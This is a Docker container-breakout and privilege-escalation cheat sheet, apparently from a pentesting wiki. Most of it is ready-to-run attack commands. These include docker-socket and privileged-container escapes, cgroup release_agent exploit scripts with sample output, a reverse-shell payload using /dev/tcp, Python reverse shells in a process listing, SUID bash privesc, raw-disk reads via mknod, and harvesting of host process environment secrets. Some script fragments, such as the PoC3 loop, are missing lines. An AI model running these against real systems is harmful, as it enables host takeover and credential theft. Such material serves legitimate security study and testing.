Docker Breakout / Privilege Escalation

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Automatic Enumeration & Escape

  • linpeas: It can also enumerate containers
  • CDK: This tool is pretty useful to enumerate the container you are into even try to escape automatically
  • amicontained: Useful tool to get the privileges the container has in order to find ways to escape from it
  • deepce: Tool to enumerate and escape from containers
  • grype: Get the CVEs contained in the software installed in the image

Mounted Docker Socket Escape

If somehow you find that the docker socket is mounted inside the docker container, you will be able to escape from it. This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
In this case you can use regular docker commands to communicate with the docker daemon:
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
In case the docker socket is in an unexpected place you can still communicate with it using the docker command with the parameter -H unix:///path/to/docker.sock
Docker daemon might be also listening in a port (by default 2375, 2376) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket fd://.
Additionally, pay attention to the runtime sockets of other high-level runtimes:
  • dockershim: unix:///var/run/dockershim.sock
  • containerd: unix:///run/containerd/containerd.sock
  • cri-o: unix:///var/run/crio/crio.sock
  • frakti: unix:///var/run/frakti.sock
  • rktlet: unix:///var/run/rktlet.sock
  • ...

Capabilities Abuse Escape

You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN
You can check currently container capabilities using previously mentioned automatic tools or:
capsh --print
In the following page you can learn more about linux capabilities and how to abuse them to escape/escalate privileges:

Escape from Privileged Containers

A privileged container can be created with the flag --privileged or disabling specific defenses:
  • --cap-add=ALL
  • --security-opt apparmor=unconfined
  • --security-opt seccomp=unconfined
  • --security-opt label:disable
  • --pid=host
  • --userns=host
  • --uts=host
  • --cgroupns=host
The --privileged flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can read all the effects of --privileged in this page:

Privileged + hostPID

With these permissions you can just move to the namespace of a process running in the host as root like init (pid:1) just running: nsenter --target 1 --mount --uts --ipc --net --pid -- bash
Test it in a container executing:
docker run --rm -it --pid=host --privileged ubuntu bash


Just with the privileged flag you can try to access the host's disk or try to escape abusing release_agent or other escapes.
Test the following bypasses in a container executing:
docker run --rm -it --privileged ubuntu bash

Mounting Disk - Poc1

Well configured docker containers won't allow command like fdisk -l. However on miss-configured docker command where the flag --privileged or --device=/dev/sda1 with caps is specified, it is possible to get the privileges to see the host drive.
So to take over the host machine, it is trivial:
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
And voilà ! You can now access the filesystem of the host because it is mounted in the /mnt/hola folder.

Mounting Disk - Poc2

Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1

Privileged Escape Abusing release_agent - PoC1

Initial PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC
# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent
# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c
# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o

Privileged Escape Abusing release_agent - PoC2

Second PoC
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/ 0>&1" >> /cmd
chmod a+x /cmd
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
Find an explanation of the technique in:

Privileged Escape Abusing release_agent without known the relative path - PoC3

In the previous exploits the absolute path of the continer inside the hosts filesystem is disclosed. However, this isn’t always the case. In cases where you don’t know the absolute path of the continer inside the host you can use this technique:
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
while [ ! -f ${OUTPUT_PATH} ]
if [ $((${TPID} % 100)) -eq 0 ]
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
echo "Exiting at ${MAX_PID} :-("
exit 1
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
# Wait for and cat the output
sleep 1
echo "Done! Output:"
Executing the PoC within a privileged container should provide output similar to:
[email protected]:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200
Done! Output:
root 1 0 0 11:25 ? 00:00:01 /sbin/init
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]

Privileged Escape Abusing Sensitive Mounts

There are several files that might mounted that give information about the underlaying host. Some of them may even indicate something to be executed by the host when something happens (which will allow a attacker to escape from the container). The abuse of these files may allow that:
However, you can find other sensitive files to check for in this page:

Arbitrary Mounts

In several occasions you will find that the container has some volume mounted from the host. If this volume wasn’t correctly configured you might be able to access/modify sensitive data: Read secrets, change ssh authorized_keys…
docker run --rm -it -v /:/host ubuntu bash

Privilege Escalation with 2 shells and host mount

If you have access as root inside a container that has some folder from the host mounted and you have escaped as a non privileged user to the host and have read access over the mounted folder. You can create a bash suid file in the mounted folder inside the container and execute it from the host to privesc.
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder

Privilege Escalation with 2 shells

If you have access as root inside a container and you have escaped as a non privileged user to the host, you can abuse both shells to privesc inside the host if you have the capability MKNOD inside the container (it's by default) as explained in this post. With such capability the root user within the container is allowed to create block device files. Device files are special files that are used to access underlying hardware & kernel modules. For example, the /dev/sda block device file gives access to read the raw data on the systems disk.
Docker ensures that block devices cannot be abused from within the container by setting a cgroup policy on the container that blocks read and write of block devices. However, if a block device is created within the container it can be accessed through the /proc/PID/root/ folder by someone outside the container, the limitation being that the process must be owned by the same user outside and inside the container.
Exploitation example from this writeup:
# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda
# Create the nonepriv user of the host inside the container
## In this case it's called augustus
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus
su augustus
su: Authentication failure
[email protected]:/backend$ /bin/sh
[email protected]:~$ ps -auxf | grep /bin/sh
root 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus 1659 0.0 0.0 4292 712 ? S+ 09:48 0:00 \_ /bin/sh
augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ grep /bin/sh
# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
[email protected]:~$ grep -a 'HTB{' /proc/1659/root/sda


If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab:
docker run --rm -it --pid=host ubuntu bash
For example, you will be able to list the processes using something like ps auxn and search for sensitive details in the commands.
Then, as you can access each process of the host in /proc/ you can just steal their env secrets running:
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
You can also access other processes file descriptors and read their open files:
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
You can also kill processes and cause a DoS.
If you somehow has privileged access over a process outside of the container, you could run something like nsenter --target <pid> --all or nsenter --target <pid> --mount --net --pid --cgroup to run a shell with the same ns restrictions (hopefully none) as that process.


docker run --rm -it --network=host ubuntu bash
If a container was configured with the Docker host networking driver (--network=host), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the container binds all services directly to the host's IP. Furthermore the container can intercept ALL network traffic that the host is sending and receiving on shared interface tcpdump -i eth0.
For instance, you can use this to sniff and even spoof traffic between host and metadata instance.
Like in the following examples:
You will be able also to access network services binded to localhost inside the host or even access the metadata permissions of the node (which might be different those a container can access):


docker run --rm -it --ipc=host ubuntu bash
If you only have hostIPC=true, you most likely can't do much. If any process on the host or any processes within another pod is using the host’s inter-process communication mechanisms (shared memory, semaphore arrays, message queues, etc.), you'll be able to read/write to those same mechanisms. The first place you'll want to look is /dev/shm, as it is shared between any pod with hostIPC=true and the host. You'll also want to check out the other IPC mechanisms with ipcs.
  • Inspect /dev/shm - Look for any files in this shared memory location: ls -la /dev/shm
  • Inspect existing IPC facilities – You can check to see if any IPC facilities are being used with /usr/bin/ipcs. Check it with: ipcs -a
The second technique explained in the post https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/ indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
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Runc exploit (CVE-2019-5736)

In case you can execute docker exec as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit here). This technique will basically overwrite the /bin/sh binary of the host from a container, so anyone executing docker exec may trigger the payload.
Change the payload accordingly and build the main.go with go build main.go. The resulting binary should be placed in the docker container for execution. Upon execution, as soon as it displays [+] Overwritten /bin/sh successfully you need to execute the following from the host machine:
docker exec -it <container-name> /bin/sh
This will trigger the payload which is present in the main.go file.
There are other CVEs the container can be vulnerable too, you can find a list in https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list

Breakout Templates

Container Breakout through Usermode helper Template

If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
  • Find the path of the containers filesystem inside the host
    • You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit
  • Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens
    • You should be able to execute the trigger from inside the host
    • You need to know where the containers files are located inside the host to indicate a script you write inside the host
  • Have enough capabilities and disabled protections to be able to abuse that functionality
    • You might need to mount things o perform special privileged actions you cannot do in a default docker container


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